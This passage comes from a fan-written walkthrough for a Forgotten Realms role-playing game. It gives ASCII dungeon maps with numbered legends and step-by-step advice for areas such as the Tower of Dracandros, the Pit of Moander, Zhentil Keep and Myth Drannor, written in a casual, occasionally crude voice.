        47          |     |  |        |
                    +  +  +  +--+  +--+
        46          |     |     |  |  |
                    +  +  +  +  +  +  +
        45          |     |     |  D  |
                    +  +  +--+DD+  +--+
        44          |     |           |
                    +DD+--+--+--+--+  +
        43          |  |     D     |  |
                    +  +  +--+--+--+  +
        42          |  |  D9          |
                    +  +  +  +--+--+--+
        41          |  |  |  |        |
                    +DD+--+  +--+  +  +
        40          |     |     |     |
                    +  +  +--+  +  +--+
        39          |        |  |  |  |
                    +  +  +--+  +DD+  +
        38          |     S     |     |
                    +--+--+  +--+  +  +
        37          |        |        |
                    +DD+--+  +DD+--+--+
        36          |     |           |
                    +  +  +--+--+--+  +
        35          |      8 D   8 D7 |
                    +  +  +  +  +  +  +
        34          |        |     |  |
                    +--+--+DD+--+--+  +
        33          |     |        |  |
                    +  +  +  +  +--+  +
        32          |     D     |     |
                    +DD+--+--+--+DD+--+
        31          |              |
                    +  +  +  +--+--+
        30          | 4   |  D     |
                    +DD+DD+  +--+--+
        29          |  |           |
                    +  +--+--+--+  +
        28          |     D     |  |
                    +--+--+--+  +  +
        27          |      6 |  |  |
                    +  +  +DD+DD+DD+
        26          |     |        |
                    +DD+--+  +--+--+
        25          |     |  |     |
                    +  +--+  +  +  +
        24          |  |     |     |
                    +  +--+  +DD+--+
        23          |     |        |
                    +--+DD+--+--+  +
        22          |     |     |  |
                    +  +--+--+  +  +
        21          |  D     |  D  |
                    +  +--+  +--+  +
        20          |     |  D  |  |
                    +--+DD+  +  +  +
        19          |        |  |  |
                    +  +--+  +--+  +
        18          |  |  |        |
                    +  +  +DD+--+DD+
        17          |  |     |     |
                    +  +  +  +  +  +
        16          |  |     |     |
              +--+--+DD+--+--+--+--+
        15    |     |3       |
              +  +  +DD+--+  +
        14    |     D   5 D  |
              +DD+DD+--+--+  +
        13    |              |
              +  +  +--+--+--+
        12    |  |  D        |
              +  +  +  +  +  +
        11    |  |  |        |
              +  +  +--+--+DD+
        10    |  D     |     |
              +--+--+DD+--+--+
         9    |   3          |
              +DD+--+--+  +--+
         8    |  |     |4 D  |
              +  +  +  +  +  +
         7    |  |     D  |  |
              +  +--+--+  +--+
         6    |     D  |     |
              +--+  +  +--+  +
         5    |  D  |     D  |
              +--+  +--+--+  +
         4    |     |  |     |
              +  +DD+  +  +--+
         3    |  | 2   |  D  |
              +  +--+  +  +  +
         2    |     |  |  |  |                S
              +  +DD+--+  +--+                |
         1    |  |     |     |            E <-+-> W
              +  +  +  +--+  +                |
         0    |  |        |  |                |
              +DD+--+--+--+DD+                N
               1           1

               0  1  2  3  4


          1 = To Tilverton Thieves Guild
          2 = Journal Entry
          3 = Cloth
          4 = Fire Knives Check Point
          5 = Otyugh
          6 = Neo Otyugh + Otyugh + Items
          7 = Symbol
          8 = Trolls
          9 = Knight of Myth Drannor NPC
         10 = To Fire Knives Hideout at Abandoned Checkpoint
         11 = To Fire Knives Hideout


3. FIRE KNIVES GUILD : 1 Level Thieves Guild
  This place has a few secret doors, somtimes the door appears on one side of
the wall, but not on the other side.  There is also one one-way door that I
know of.  This place is pretty easy as there are few battles, and then they
only consist of 6 or 8 Fire Knives.  Make your way to point 1 and wait for the
blades to stop, now continue on to point 2 and interrogate the nice
co-operative folks for some information.  At point 3 attack to gain the
surprise and rescue the cleric, friend to the Knight of Myth Drannor.  Go to
point 4 for some information, then on to point 5, 6, 7 and 8. Save your game,
get healed and spelled up.  Now enter the door to point 9 and face the leader
of the Fire Knives, Princess Naccacia (I think she is a thief by trade) and the
Wyvenspur fop, Giogi.  Slaughter the thieves and the Zhentish fiend and watch
the ending.  See the bond dissappear?  Now you have to kill the other masters
of your bonds.....


            +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
  15        |        |        |        S8       |           |
            +DD+  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
  14        |  |     |        |        |        |           |
            +  +--+--+SS+  +  +  +  +  +  +  +--+  +  +  +  +
  13        |  D5       |     |   7    |8    |  D9          |
            +  +  +  +  +--+--+--+DD+--+DD+--+  +  +  +  +  +
  12        |  |        |                     6 |           |
            +DD+--+--+--+  +--+DD+--+DD+--+--+--+--+--+--+--+
  11        |     D        |        |        |     |  |     |
            +  +  +DD+DD+--+  +  +  +  +  +  +  +  +  +  +  +
  10        |     |  |     D        D        D     |  |     |
            +  +  +  +  +  +  +  +--+--+--+--+  +  +  +  +  +
   9        |     |  S     |     <           D     |  D     |
            +--+--+  +--+--+SS+--+  +  +  +  +--+DD+  +--+DD+
   8        |                    |           D        |     |
            +  +--+--+--+SS+--+  +DD+--+--+DD+--+--+--+  +  +
   7        |  D     |        |           |  |     |        |
            +  +  +  +  +  +  +DD+--+--+--+  +  +  +  +  +  +
   6        |  |     D        |           |  |     D4  4    |
            +  +DD+--+  +  +  +  +  +  +  +  +  +  +--+DD+--+         S
   5        |  |     |        |           |  D     D        |         |
            +  +  +  +--+DD+--+DD+--+DD+--+  +  +  +  +  +  +     E <-+-> W
   4        |  S     D                       |     |        |         |
            +  +  +  +--+--+  +--+DD+--+--+--+--+DD+--+  +  +         |
   3        |  |     |     D  |     |        |        |     |         N
            +SS+--+DD+  +  +  +  +  +  +  +  +  +  +  +--+DD+
   2        |        |     |  |     |2       D   3    |     |
            +  +  +  +DD+--+DD+--+--+DD+  +  +  +  +--+  +  +
   1        |        |     |     |     |     |     |        |
            +  +  +  +  +  +  +  +  +  +--+DD+--+DD+DD+  +  +
   0        |        |     |     |     D              |     |
            +--+--+--+--+DD+--+--+DD+--+--+--+--+--+--+--+--+
                         1        1

             0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15


          1 = Enterence to Sewers
          2 = Twirling Blades
          3 = Frozen People (Interrogation)
          4 = Torture Room
          5 = Information
          6 = Fire Knife check point
          7 = Hospital
          8 = Armoury
          9 = Fire Knife Guildmaster fight.


4. OVERLAND MAP.
  This is the first time you will be going overland, and because you can go in
many directions I'll give you some general advice.  Go to all the places on the
map.  At this stage DO NOT ENTER Yulash, Zhentil Keep or Hap just yet.  Go to
all the towns pubs and listen to gossip.  Travel by the wilderness and the
roads to discover some locations, items, and fights.  Travel around the
overland gaining experience until your characters are around level 7 or 8.

  Go to the Standing stone where a mysterious mentor will direct you to go
towards Hap.  Make sure you are fully healed up.


5. VILLAGE OF HAP : 1 Level small village
  This is where you will run into lots of Dark Elf patrols.  Don't take any
Dark Elf equipment as it disintergrates in sunlight, so don't be caught
weaponless or armourless.  Go to location 3 and meet Akbar Bel Akash the
greengrocer (he he he) and allow him to join the party.  Walk around town and
fight about 7 or 8 Dark Elf patrols using location 3 as a base.  After you have
killed of the patrols head for the barn, which is location number 4. Here you
will meet the Efreet and about 3 Dark Elves.  Kill them and you will get a map
that will lead you to the cave of Hap.


            +--+--+--+--+--+--+
    14      |              |##|
            +  +  +  +  +  +  +
    13      |              |##|
            +  +  +  +  +  +  +
    12      |      4       |##|
            +--+--+DD+--+--+--+
    11    1 D           |     |
            +--+--+  +  +  +  +
    10      |     |     D2    |
            +  +  +  +  +--+--+
    9       |   2 D           D 1
            +--+--+  +--+--+--+
    8       |     |  |        |
            +  +--+  +  +  +  +
    7       |2 |     D3       |
            +DD+  +  +  +  +  +
    6     1 D        |   3    |
            +--+--+  +--+DD+--+
    5       |     |           D 1
            +  +  +  +  +--+--+
    4       |    2D     D2    |
            +--+DD+--+  +  +  +
    3       |        |  |   2 |
            +  +  +--+  +--+DD+
    2       |    2D           D 1
            +--+--+  +  +--+--+
    1       |  |        D2    |           Ohh Shit. I forgot the compass.
            +  +DD+  +  +  +  +
    0       |   2 |     |     |
            +--+--+DD+DD+--+--+
                   1  1

             0  1  2  3  4  5


          1 = Exit to CavesWilderness
          2 = Peasants
          3 = Akbar Bel Akash
          4 = Efreet & Dark Elves


6. DARK ELF CAVERN : 1 Level Volcanic Cave
  Before you can even take a step inside you'll be attacked by a group of
Salamanders.  First off, go around the corner in a southerly direction and meet
up with the Swanmays.  If you have a woman in your party she will recieve the
mark of the Swanmays as well as a special quest.  When you find the room full
of Salamanders, parlay slyly and you can open all six chests for some items and
mucho exps.  Now run along and earn some experience points by killing off the

Drow Fighters, the Drow Clerics and then the Drow Mages.  Standing outside the
door to point number 7, heal up and get enspelled for a battle with some
Efreets.  Follow the corridor around the corner to the point 8, jump in feet
first and kill off the guards and salamanders.  Heal, spell up, save and get
ready to face Crimdrac the Dracholich, hes no Thiszult, Rauglothgor or
Aghaztamn but hes still tough.  Get close and surround him from all sides and
hack away.  Becareful which spells you cast as he's immune to some, plus the
confined area.


             11
            +DD+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    9       |  |        |              |        D     |     |
            +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
    8       |  D      10D              |        |     D5    |
            +  +  +  +  +  +  +  +  +  +  +--+DD+--+  +  +  +
    7       |  |        |              |  |    6   |  |     |
            +--+--+--+--+  +  +  +  +  +  +--+  +  +  +--+--+         W
    6       |           |   9          |     |     |        |         |
            +  +--+DD+  +--+DD+--+--+--+--+DD+  +  +  +  +  +    S <--+----> N
    5       |  |     |        |     D        |     |        |         |
            +DD+  +  +--+--+--+  +--+--+--+DD+--+--+--+--+  +         E
    4       |  |     |           |     |     D     |     |  |
            +  +--+--+  +DD+--+--+  +  +--+--+  +  +DD+  +DD+
    3       |           |7       |     D     D     |  |     |
            +DD+--+--+  +  +  +  +--+--+--+--+--+--+  +  +  +
    2       |8       |  |        |                    |     |
            +  +  +  +  +--+--+--+--+DD+--+  +  +--+DD+--+--+
    1       |        |     |  D     |3    |     |   4       |
            +  +  +  +--+--+  +  +  +  +  +  +--+  +  +  +  +
    0       |        D     |  |     D     |2 |              |
            +--+--+--+--+DD+--+--+--+--+--+DD+--+--+--+--+--+
                         12                1

             0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15


          1 = Exit to Wilderness
          2 = Salamanders
          3 = Silk of the Swanmays
          4 = Drow Fighters
          5 = Salamanders. Talk sly.
          6 = Drow Clerics
          7 = Drow Mages
          8 = Efreets
          9 = Salamanders + Efreets
         10 = Crimdrac the Dracholich
         11 = Exit to tower
         12 = Rubbled exit to Drow city


7. TOWER OF DRACANDROS :  5 Level Tower

TOWER OF DRACANDROS : LEVEL 5.
  At the top of the tower you can either attack Dracandros or Parly nicely with
dragons as both will achieve the same result.  Take out the Efreets and Drow.
Here you should rest up and save before going down the stairs.


            +--+--+--+--+
    3       |        |2 |
            +  +  +  +DD+
    2       |         1 |
            +  +  +  +  +
    1       |           |            N
            +  +  +  +  +            |
    0       |           |            |
            +--+--+--+--+       W <--+--> E
                                     |
             0  1  2  3              S


          1 = Fight Dracandros or Talk nice with Dragons.
          2 = Stairs down.


TOWER OF DRACANDROS : LEVEL 4
  As soon as you come down the stairs you will be attacked by a Drow Fighter.
He is very tough.  Get close to him and hack away as well as cast spells like
Lightning and Magic Missles, etc as other spells are ranged and will help him
finish you off.  Make sure you take his Plate Mail +4 and Shield +2.  Go to
point 4 which is the Trial of the Sphere.  Let Akabar do this for you.  Don't
panic when it starts getting close as will move away and wipe out the other
guy.  Now collect some nice treasure.  Go back to point 3 if you want to play
with some Wyverns, nasty stuff them so get your group into position and guard
until they come at you.  Spell them and hack away.  Exit down the stairs to
level 3.


            +--+--+--+--+--+
    4       |      3 D   2 |
            +  +  +  +  +DD+
    3       |        |  |1 |
            +DD+--+--+  +--+
    2       |     |  D  D4 |
            +  +  +  +--+  +
    1       |     D  |     |                 N
            +--+--+  +  +  +                 |
    0       |5 D     |     |                 |
            +--+--+--+--+--+            W <--+--> E
                                             |
             0  1  2  3  4                   S


          1 = Stairs up to level 5
          2 = Dark Elf Warrior
          3 = Wyverns
          4 = Trial of the Sphere
          5 = Stairs down to level 3


TOWER OF DRACANDROS : LEVEL 3
  Not much on this level.  The Dark Elf warrior is an illusion.  Before the
exit is some Owlbears and a few Drow fighters.  Chew-em-up and spit-em-out so
you can get to level 2.


          +--+--+--+--+--+--+
    5     |        D     |4 |
          +  +  +  +  +  +DD+
    4     |        |     |  |
          +--+DD+--+--+DD+  +
    3     |        D      3 |
          +  +--+--+  +--+DD+                  N
    2     |  D     |  |     |                  |
          +  +  +  +DD+  +  +                  |
    1     |  |     |  |     |             W <--+--> E
          +  +--+DD+  +--+  +                  |
    0     |2 D1 |        D  |                  S
          +--+--+--+--+--+--+

           0  1  2  3  4  5


          1 = Stairs up to level 4
          2 = Drow fighter Illusion
          3 = Owlbears and Drow
          4 = Stairs down to level 2


TOWER OF DRACANDROS : LEVEL 2
  Ahhh, this is what I like, another small level with nothing happening.  Don't
pickup the paper, its a bomb.  Go to point 2 and find the pool, delve into the
bottom to retrieve Silks pod and then go to Dracandros' chambers and search for
some booty, then hit the stairs down.


         +--+--+--+--+--+--+--+
    6    |        D         2 |
         +  +  +--+  +DD+--+DD+
    5    |     |     |     |1 |
         +DD+--+DD+--+  +  +--+
    4    |     |  |        D  |
         +  +  +  +--+--+--+  +
    3    |     D        D     |
         +--+--+--+  +--+  +  +
    2    |      4 D  |        |
         +  +  +  +  +--+--+DD+
    1    |      4 |  |      3 |
         +--+--+DD+DD+DD+  +  +
    0    |5 D           |     |
         +--+--+--+--+--+--+--+

          0  1  2  3  4  5  6


          1 = Stairs Up to level 3
          2 = Paper, Don't pickup
          3 = Silks Pod.
          4 = Dracandros' chambers
          5 = Stairs down to level 1


TOWER OF DRACANDROS : LEVEL 1
  Hey, another level with nothing happening.  Walk around to the first door
then go straight ahead, confrot the Wyverns and heal up cause behind door
number 1 is the infamous Dracandros.  Wipe out everybody with the usual
tactics, but DON'T try and hit Dracandros with melee weapons.  Hit him only
with missile weapons and spells because he will cast a fireshield opon himself.
What?  Don't know what a Fireshield is?  Well, whatever damage you do to him
will be done to you in return but double.  So if you hit him for 25hps you will
automatically lose 50hps, but this only works on melee weapons....  Snatch his
loot, wands especially as there is a wand of Icestorm and one of Fireballs.
Exit to the caves and give the pod to Silk, collect the treasure and head for
the standing stone.


          +--+--+--+--+--+--+--+--+
 10       |        D     D        |
          +  +  +--+  +  +--+  +  +
  9       |     |           |     |
          +--+DD+--+DD+--+--+--+DD+
  8       |                       |
          +  +--+--+--+DD+--+DD+--+
  7       |  D     D        |     |
          +  +  +  +  +  +  +  +  +
  6       |  |     |        D     |
          +  +--+DD+--+DD+--+--+DD+               N
  5       |  D     |        |     |               |
          +  +  +  +  +  +  +  +  +               |
  4       |  |     D   2    D     |          W <--+--> E
          +  +--+--+  +  +  +  +  +               |
  3       |  D1 |  D        |     |               S
          +--+--+--+--+DD+--+--+--+
  2       |            3          |
          +  +  +==+==+  +  +  +  +
  1       |     =     =           |
          +  +  +==+==+  +  +  +  +
  0       |                       D4
          +--+--+--+--+--+--+--+--+

           0  1  2  3  4  5  6  7


          1 = Stairs up to level 2
          2 = Wyverns
          3 = Dracandros
          4 = Exit to CavesWilderness


8. YULASH : 1 Level City
  Travel from Hap to the Standing stone and talk with your mysterious mentor
who will direct you to "Seek Green to the NW".  Head for Yulash where you can
have a mass orgy with the curvy cultists of Moander.

  Ahh, what a lovely place, we got the Plumes, the Zhents, Mounds, Looters and
Cultists...  The best thing to do is to ask permission to enter, talk sly and
go with the guards.  You will find yourselves outside the captains room, walk
to the door and you will run into some Zhentish pigs.  Kill the Zhents and talk
nice to the Commander (Who should notice that you have one of the Swanmays in
your party.....) he will give you free run of the ruins as well as the mess
hall and the sleeping quarters.

  First off, heal and spell up then head out the front door and straight down
the corridor, round the corner and down to point 6 on the map, obviously you
will have to fight of Zhents and Shambling mounds which are pretty tough.  Pop
into the room round the corner and heal up.  Now proceed to point 7 and kill
the Shambling Mounds, this will let you get your hands on a wand of defoilation
and a wand of lightning bolts.  The wand of defoilation is VERY effective on
mounds but save this for later when your inside the Pit of Moander.  Now go to
point 7 near the north wall and enter the Pit of Moander......


                1                             7
            +--+DD+--+--+--+--+--+--+--+--+--+DD+--+--+--+--+
   15       |        |     |     |           |  |           |
            +  +  +  +  +  +  +  +  +--+--+--+  +  +  +  +  +
   14       |        |2    |     |  D        |6 |           |
            +--+DD+  +DD+--+  +  +DD+--+--+--+  +--+--+  +  +
   13       |     |        D3    |           |  D           |          N
            +  +  +  +  +  +  +  +DD+--+--+DD+  +  +  +  +  +          |
   12       |   4 D        |     |## ## ##|     |     D     |          |
            +--+DD+  +  +--+--+--+--+--+--+  +  +--+--+--+--+     W <--+--> E
   11       |     |     |     |           |                 |          |
            +  +  +  +  +  +  +  +  +  +  +  +  +--+--+--+DD+          S
   10       |     D     D     |           |     D  |  |     |
            +--+--+--+DD+--+--+  +  +--+--+  +  +  +  +DD+--+
    9    1  D                       D     |     |  |  |     |
            +--+--+--+  +--+--+  +  +  +  +  +  +DD+DD+--+  +
    8       |  |     |  |     |     |     |   5       D  D  |
            +  +  +  +  +  +--+DD+--+--+--+  +  +  +  +--+--+
    7       |  |     D  |  D        |                 D     |
            +  +DD+--+  +--+  +--+--+--+--+DD+--+  +  +--+--+
    6       |        |        |     D  D  |     |     |     |
            +--+DD+--+  +--+  +  +  +--+  +DD+  +  +  +--+DD+
    5       |           |  |  D     |     |  |  |           |
            +--+DD+--+  +  +  +  +  +  +  +  +  +  +  +--+--+
    4       |        |  D  |  |     |     |  |  |     |  |  |
            +--+DD+--+  +  +  +--+--+DD+--+DD+--+  +  +  +DD+
    3       |           |  |        |                 D     |
            +--+DD+--+  +--+DD+DD+--+--+--+DD+--+--+  +--+--+
    2       |  D     |        |     D     |        |  |     |
            +  +  +  +  +  +  +  +  +  +  +  +  +--+  +  +  +
    1       |  |     D        |     |     D     D  |  D     |
            +DD+--+--+  +  +  +DD+--+--+--+--+DD+--+  +--+--+
    0       |        D                              6       |
            +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

             0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15

          1 = Exit to wilderness
          2 = Mess hall
          3 = Barricks
          4 = Zhents
          5 = Shambling Mounds + Wand of Defoilation
          6 = Plumes Checkpoint
          7 = Exit to Pit of Moander


9. PIT OF MOANDER: 2 Level Semi-abandoned Temple
  Ohhh, ahhh, flippen cultists casting bloody Hold spells on you all the time.
Get in and out as fast as you can (But I have to map the fucken thing.....)

PIT OF MOANDER : LEVEL 1
  Trundle down the corridor to the first door where you will smell baked bread.
Go through the door to point 1 and meet Alias and Dragonbait.  Tell her the
truth and invite them into your party.  Go back out to the main corridor and
head down to point 2 and exit down the stairs.


          +--+--+--+--+--+--+--+--+
  15      >              |        |                N
          +--+--+--+DD+  +--+DD+  +                |
  14      |## ##|     |  D  D  |  |                |
          +  +  +  +  +  +--+--+DD+           W <--+--> E
  13      |## ##|     |  |  |  |  |                |
          +--+--+DD+--+  +--+  +  +                S
  12      |     |     |  D     |  |
          +  +  +  +  +  +--+DD+  +
  11      |   1 D     |  |     |  |
          +--+--+--+DD+  +  +  +  +
  10      |              |     D  |
          +--+--+--+--+  +DD+--+  +
   9      |     D  |  |  |     |  |
          +  +  +  +--+  +  +  +  +
   8      |     |     D  D     |  |
          +--+DD+--+--+  +--+--+  +
   7      |              |  |  |  |
          +--+DD+--+--+  +--+DD+  +
   6      |     |     D           |
          +  +  +  +  +--+DD+--+  +
   5      |     |     |  |     |  |
          +--+--+DD+--+--+  +  +  +
   4    4 D     |     D        D  |
          +  +  +  +  +--+DD+--+  +
   3      |3    |     |        |  |
          +DD+--+--+  +DD+  +  +  +
   2      |        |  |  |     |  |
          +  +--+  +  +DD+DD+DD+DD+
   1      |  |##|  D     |     |2 |
          +  +--+  +--+--+  +  +--+
   0      |        |## ##|     |##|
          +--+--+--+--+--+--+--+--+

           0  1  2  3  4  5  6  7


          1 = Alias and Dragonbait
          2 = Stairs Down to Pit Level 2
          3 = Last ditch effort by cultists
          4 = Exit to Wilderness


PIT OF MOANDER : LEVEL 2
  At point 2 examine the Zhent to find some information.  Proceed down to point
3 where you will find some cultists and slugs.  Attack for surprise and make a
meal out of them.  Proceed straight down the end of the corridor to point 4,
but before you enter the door heal, spell and save.  This next attack comes in
2 waves.  First you will be attacked by Mogion, Cultists, Shambling Mounds and
maybe even vegipygmies.  Save your Wand of Defoilation.  Before you end this
battle use heal spells and potions as the next battle starts straight away.
This time you will face 3 Bit'O'Moanders.  This is where you use your wand of
defoilation.  Go and search behind the altar to find Mogions stash.  Now
somehow, heal and spell up.  Run for the stairs at point 1 like a madman
possessed.


          +--+--+--+--+--+--+--+--+
  15      |## ##|      5    |## ##|                N
          +--+--+  +--+--+  +--+--+                |
  14      |     D           D     |                |
          +  +  +--+  +  +--+  +  +           W <--+--> E
  13      |     |##|     |##|     |                |
          +--+--+--+  +  +--+--+--+                S
  12      |     D   4  4    D     |
          +  +  +--+DD+DD+--+  +  +
  11      |     D           D     |
          +--+--+--+--+  +--+--+--+
  10      |     |##|  |  |##|     |
          +  +  +--+  +  +--+  +  +
   9      |     D     |  D        |
          +DD+--+--+DD+  +--+--+--+
   8      |                       |
          +--+DD+--+DD+  +--+DD+--+
   7      |     |##|  |  |##|     |
          +  +  +--+  +  +--+  +  +
   6      |     D     |  D        |
          +DD+--+--+DD+  +--+DD+--+
   5      |            3          |
          +DD+--+--+DD+  +--+--+DD+
   4      |     |##|  |  |##|  |  |
          +  +  +--+  +  +--+  +  +
   3      |     |     |  D     D  |
          +DD+DD+--+--+  +--+--+DD+
   2      |  |  |     D           |
          +  +  +--+  +  +--+--+--+
   1      |  |  |##|  |  |##|  |1 |
          +  +--+--+  +  +--+DD+DD+
   0      |  D        D      2    |
          +--+--+--+--+--+--+--+--+

           0  1  2  3  4  5  6  7


          1 = Stairs Up to Pit Level 1
          2 = Zhentish carcass
          3 = Cultists & Slugs
          4 = Cultists + 3 Pieces of Moander
          5 = Mogions stash


PIT OF MOANDER : LEVEL 1
  Go to point 4 and evade the slugs then head on to point 3. This is where the
cultists will make a last ditch attempt to stop the "Chosen Ones".  Now exit
out into the wilderness.  Camp and heal up.


                          See Map for Level 1.



10. ZHENTIL KEEP : 1 Level pigsty of goatbangers from hell.
  Travel from Yulash to the Stone, just to be told to seek "Black to the north"
which means you got to go to the Zhentillar stronghold.  (Mulmaster comes in
later)
  Beware of HighPriests they cast Fireshield spells on themselves.  Pretty
straight forward solution open to you (unlike me who had to map the thing).
  From the enterence head up around the alleyways to point 11 where you will
meet Olive Ruskettle.  Read the journal entries and follow her into the temple.
She will lead you to the cell of Dimswart the sage.  Read his journal entry and
take him with you.  Go into the room next door to point 15 and look in the
mirrors a few times, then exit the room and into the room in front of your
face, put search on and go to the west wall.  Now your in the main chapel.
Again put search on and find the trapdoor.  It is trapped so use a detect
spell.  Inside is a Wand of Paralysation.  Now go to the west wall and go down
the side until you meet a Medusa.  Follow her, its your only way out.  She will
deposit you at the feet of Dexam......  (Have not figured out how to get into
the room behind the magic shop, even though there are three doors into
it?????????)

            +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
     15     |     |           |     |14|     S      16      |
            +  +  +  +--+--+  +  +  +DD+  +  +  +--+  +--+  +        S
     14     |   2 D  |     |  |   15D  D     |              |        |
            +  +  +  +  +  +  +--+--+  +--+--+  +--+  +--+  +   E <--+--> W
     13     |2    |  D2    |  |     |  |     |            17|        |
            +DD+--+  +  +  +  +  +  +DD+  +  +  +--+  +--+  +        |
     12     |     |  |     |11|     |  D     |              |        N
            +  +  +  +--+--+  +DD+--+  +--+--+  +--+  +--+  +
     11     |2  2 D  |     |12|        |     |              |
            +DD+--+  +  +  +  +--+DD+  +  +  +--+DD+DD+DD+--+
     10     |     |  |   2 D  |     |  D     D  |        |  |
            +  +  +  +  +  +  +  +  +  +--+--+--+  +  +  +  +
      9     |   2 D  |     |  |     |           D        D  |
            +  +  +  +--+--+  +--+--+DD+--+DD+--+  +  +  +  +
      8     |     |  |     |  |        |        |        |17|
            +--+--+  +  +  +  +--+--+--+--+--+--+DD+DD+DD+--+
      7     |     |  D10   |                     13 13 13   |
            +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
      6     |   9 D  |     |                                |
            +  +  +  +--+--+--+--+--+--+--+--+--+--+--+--+--+
      5     |     |        |        D        D        |     |
            +--+--+--+--+  +  +  +  +--+DD+--+  +  +  +  +  +
      4     |           |  |   7    |   5    |   4    |     |
            +  +  +  +  +  +--+DD+--+--+DD+--+--+DD+--+  +  +
      3     |           |                             D3    |
            +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
      2     |           |                             |     |
            +  +  +  +  +--+DD+--+--+DD+--+--+DD+  +  +--+--+
      1     |           |   8    |   6    |   2 |     D2    |
            +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
      0     |           D        D        |     |     |     |
            +--+--+--+--+--+--+--+--+--+--+--+--+DD+DD+--+--+
                                                 1  1

             0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15


          1 = Exit to Wilderness
          2 = Private Individual Residence
          3 = Inn
          4 = Weaponry + Armoury
          5 = Magic Shop
          6 = Magistrates Office
          7 = Equipment Shop
          8 = Court Room
          9 = Pub & Arena Betting
         10 = Tavern
         11 = Voice "Rest Up." Here you can encamp and Fix.
         12 = Meeting with Olive Ruskettle
         13 = 2 Attacks of Baneite priests
         14 = Dimswart's Cell
         15 = Scrying room
         16 = Treasure. Wand of Paralysation
         17 = Medusa Meeting. Exit to Dexams shrine.


11. DEXAMS SHRINE : 1 Level dungheap of a mixed breed.
  What?  Whaddaya mean Journal entry 59.  I don't have a Journal Enrty 59.
Damn you Electronic Arts Australia.  So much for quality control.....  You
didn't even give me a complete Adventurers Journal...  Argggghhhhhhhh......
  Whoa, I have just finished mapping it, and by God it one hard place.  Save
very often.  I garuntee you will loose at least one character to Death if you
are not careful when you fight HighPriests...
  First off you will meet Dexam the Beholder, then Fzoul and then you will lose
another Bond.  Now for the hard part, escape.  Travel out the door to the north
and make your way down to point 3 where you will find te remains of an Elven
fighter, this will give you a map (Journal Entry) as well as being able to use
the Area Option, also you should find some treasure.  Now go from the bootom,
up around the side and along the tope to point 5 where you will find Dexam, a
Medusa and some Minotaurs.  Get into close range to Dexam and hack away as he
alone can wipe out your party.  Now travel down to point 6 and to the Exit at
7. Outside you will meet Olive Ruskettle as well as see Nacacia in the
background.  At this point in time I have no idea what she is doing in it,
maybe she is a Harper????


            +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
     15     |     D  |           |     |                 |4 |        W
            +DD+--+  +  +  +  +  +  +  +  +--+--+--+--+  +  +        |
     14     |     |  |      5    |     |  D           |  D  |   S <--+----> N
            +--+DD+  +--+--+DD+--+--+  +  +  +--+--+  +--+--+        |
     13     |     |  |              |  |  |  |  D  |        |        E
            +  +  +  +  +--+--+--+  +  +--+  +  +  +--+--+  +
     12     |     |  D  |        |  |        |  |     |  D  |
            +  +  +--+  +  +--+  +  +--+--+--+  +--+  +  +  +
     11     |        |6 |  D  |  |              |  |  |  |  |
            +--+--+--+  +  +  +DD+--+--+--+--+--+  +  +  +  +
     10     |           |  |  |     |1 |  |     |  |  |  |  |
            +  +--+--+--+  +  +  +  +  +  +  +  +  +  +  +--+
      9     |  |           |  |           |     |  D  |  |  |
            +  +  +--+DD+--+  +  +  +  +  +--+  +  +  +DD+  +
      8     |  |  D  |     |  |           D  |  |  |        |
            +  +--+--+--+  +  +  +  +  +  +  +  +  +  +--+  +
      7     |           |  |  |           |  D  |2 |  D  |  |
            +  +--+--+  +  +  +--+--+DD+--+  +--+  +--+--+  +
      6     |  |     |  |  |        |  |  |  |     |        |
            +  +  +  +  +  +--+--+  +  +  +DD+  +--+  +--+--+
      5     |  D     |  |        |  |  |        |  |  |     |
            +--+--+--+  +--+--+DD+--+  +--+--+--+  +  +  +  +
      4   7 D        |        |     |  |           |  |     |
            +--+--+  +DD+--+  +  +  +  +  +DD+--+--+  +  +  +
      3     |     |  |     |  |     |  D  |           |     |
            +  +DD+  +--+DD+  +  +  +--+  +--+--+--+--+--+  +
      2     |  |  |  |     |  |     |  |  |     |     |3 |  |
            +  +--+  +--+--+  +--+--+  +  +  +  +  +DD+  +  +
      1     |     D           |  D  |  |  |     D  |     |  |
            +  +--+  +DD+--+--+  +  +  +  +--+--+  +--+--+  +
      0     |  |     |           |  |  D                    |
            +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

             0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15


          1 = Start. Dexam & Fzoul
          2 = Parchment (Random in maze, but here is where I found it.)
          3 = Elven Warrior skeletion. Map
          4 = Teleport to 3
          5 = Dexam, Medusa & Minotaurs
          6 = Zhents. (The only fixed position fight I bothered to include.)
          7 = Exit to Wilderness


12. MYTH DRANNOR : 1 Level Cemetary (Thank Mystra is not as hard as Valhingen)
  Go to the Standing Stone where you will find that your helpfull friend is
actually Tyranthraxus in disguise.  He will tell you to seek him in Myth
Drannor.  Go to Myth Drannor and enter the city.
  If you wish not to fight Thri-Kreen patrols, parlay and give the word
Tyranthraxus and they will let you go.
  First thing to do is go to point 1 and greet the elven spirit, and in turn
she will tell you of a Thri-Kreen secret.  Go around the corner to point 2
where you will meet some more Knights of Myth Drannor.  Go to point 3 and talk
to the elven spirit of Princess DameirDemeaur(SP) and she will give you her
blessing.  Advanve down to point 13 and 14.  Replace the skeletons back in the
graves.  Not go to point 4 where you will meet a Red Plume.  Now, how could a
Red Plume have ancestors burried in an Elven Graveyard???  Accept and follow
him to a grave where he will show you his tru nature.  Put the skeleton back in
the grave.  Do not loot any bodies or else you won't get some valuable treausre
later on.  Go to point 6 and bury the skeleton.  At point 7 and 8 are nests of
spiders.  Go to point 9 where you will be invited to speak with the Queen.  Go
through the doors and talk with the Queen who will notice you have a Swanmay in
your party.  She will give you some weapons to help defeat Tyranthraxus.  At
point 12 you will meet the Nameless Bard.  Point 15 houses some Thri-Kreen
